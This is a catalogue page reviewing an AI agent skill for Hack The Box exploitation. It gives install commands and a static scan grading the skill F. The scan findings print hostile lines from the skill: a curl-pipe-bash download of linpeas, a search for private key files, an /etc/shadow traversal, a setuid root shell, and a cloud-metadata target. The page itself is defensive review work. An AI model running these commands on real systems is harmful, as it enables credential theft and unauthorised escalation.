Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/jessefmoore/offensive-claude-code/htbnpx skills add jessefmoore/offensive-claude-code --skill htbgit clone --depth 1 https://github.com/jessefmoore/offensive-claude-codeWhat it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00000 | $0.05849 |
| Opus 5 | $0.00000 | $0.02925 |
| Sonnet 5 | $0.00000 | $0.01170 |
| Haiku 4.5 | $0.00000 | $0.00585 |
Grade F, and why
htb scanned grade F with 8 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Harvests environment variableshighData exfiltration
Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.
→ cap_net_raw → tcpdump credentials sniff Enumerates the file system for secretshighData exfiltration
Searching home directories for .env, .ssh, .aws or credential files is reconnaissance for credential theft.
find / -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null Asks for rootmediumPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
sudo nmap -sU -p 53,69,111,123,161,162,500,623,1194,4500 --min-rate 2000 <IP> Reaches for credential fileshighPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
?file=../../../etc/shadow Downloads and executes remote codehighSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash Cloud metadata endpointhighServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
# Internal ranges to probe: 127.0.0.1, 169.254.169.254 (cloud metadata), 10.0.0.0/8 Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -I http://<IP> # headers: Server, X-Powered-By, Set-Cookie Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
→ cap_setuid → python3 -c "import os; os.setuid(0); os.system('/bin/bash')" How it starts
The opening of the file, as written. The whole thing — 637 lines — stays where its author put it; the contents beside it link to each section on GitHub.
HTB Operator — 0xdf Methodology
Persona
Hack The Box is a single-machine environment. There is no internal network to laterally
traverse (except on Pro Labs / Fortress), no client to report to, and no engagement
window. The objective is always the same: retrieve user.txt then root.txt. Every
action is aimed at those two flags.
The 0xdf mindset:
- Enumerate everything, skip nothing. A service you dismissed as uninteresting is often the intended path. If you "quick-checked" a port, check it properly.
- Narrate the reasoning. Write down (or think through aloud) what you ran, why, what you expected, and what the result tells you. This is how you build pattern recognition that transfers to real engagements.
- Note dead ends explicitly. 0xdf's writeups document what didn't work. Knowing why a path fails is as valuable as knowing why one succeeds.
- Treat every service as potentially interesting. HTB machines are designed with an intended path; every open port is a clue. If something looks weird, it probably is.
- CTF-creative thinking. HTB machines sometimes require lateral leaps (steganography, non-obvious encoding, unusual file permissions). This is normal and expected.
- One foothold, then pivot. Unlike AD engagements, the machine usually has a single foothold path. Find it, own it, escalate. Don't try to parallelize before you have a shell.
This skill differs from the pentester skill (internal engagement persona). Use this
skill when working on a single HTB machine. Use pentester for Pro Lab / network-level
engagements (e.g., HTB Offshore, RastaLabs, Dante).
Phase 1: Initial Enumeration (always run all of these)
Full TCP Scan
Always start with -p- to catch non-standard ports. HTB machines regularly put services
on high ports (8080, 8443, 9200, 27017, etc.).
# Thorough initial scan — run first, let it cook
nmap -sC -sV -p- --min-rate 5000 -oA nmap/full <IP>
# If the above is slow (Windows machines often are), parallel approach:
rustscan -a <IP> --ulimit 5000 -- -sC -sV -oA nmap/full
# Read results: look for
# - Service versions (searchsploit immediately)
# - Unusual ports (anything > 1024 is worth noting)
# - OS detection clues (TTL, Windows SMB strings, Linux kernel)
# - Default scripts output (anonymous FTP, SMB signing, SSL cert CN)
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2d ago First seen · 637 lines · 0 tokens per session scan F 268a850f6b4b
htb is a skill published in the GitHub repository jessefmoore/offensive-claude-code (2 stars, last pushed 3mo ago), licensed MIT. It costs nothing until one of its globs matches a file; then it loads 5,849 tokens. A static security scan graded it F with 8 findings (harvests environment variables, enumerates the file system for secrets, asks for root). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
Other skills, from other repositories
systematic-debugging
Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes.
brainstorming
You MUST use this before any creative work - creating features, building components, adding functionality, or modifying behavior. Explores user intent, requirements and design before implementation.
auto-perf-optimize
Run agent-driven VS Code performance or memory investigations. Use when asked to launch Code OSS, automate a VS Code scenario, run the Chat memory smoke runner, capture renderer heap snapshots, take workflow screenshots, compare run summaries, or drive a repeatable scenario before heap-snapshot analysis.
chat-perf
Run chat perf benchmarks and memory leak checks against the local dev build or any published VS Code version. Use when investigating chat rendering regressions, validating perf-sensitive changes to chat UI, or checking for memory leaks in the chat response pipeline.
chat-pet-sprite-creation
Use when creating or changing VS Code chat pet sprite art, sprite sheets, state animations, eye treatments, Stable/Insiders variants, or pet transitions under src/vs/workbench/contrib/chat/browser/widget/media/chatPet.
cpu-profile-analysis
Analyze V8/Chrome CPU profiles (.cpuprofile) and DevTools trace files (Trace-.json). Use when: profiling performance, investigating slow functions, comparing code paths, finding bottlenecks, analyzing timeToRequest, understanding call trees from sampling profiler data, analyzing layout/paint/rendering, investigating…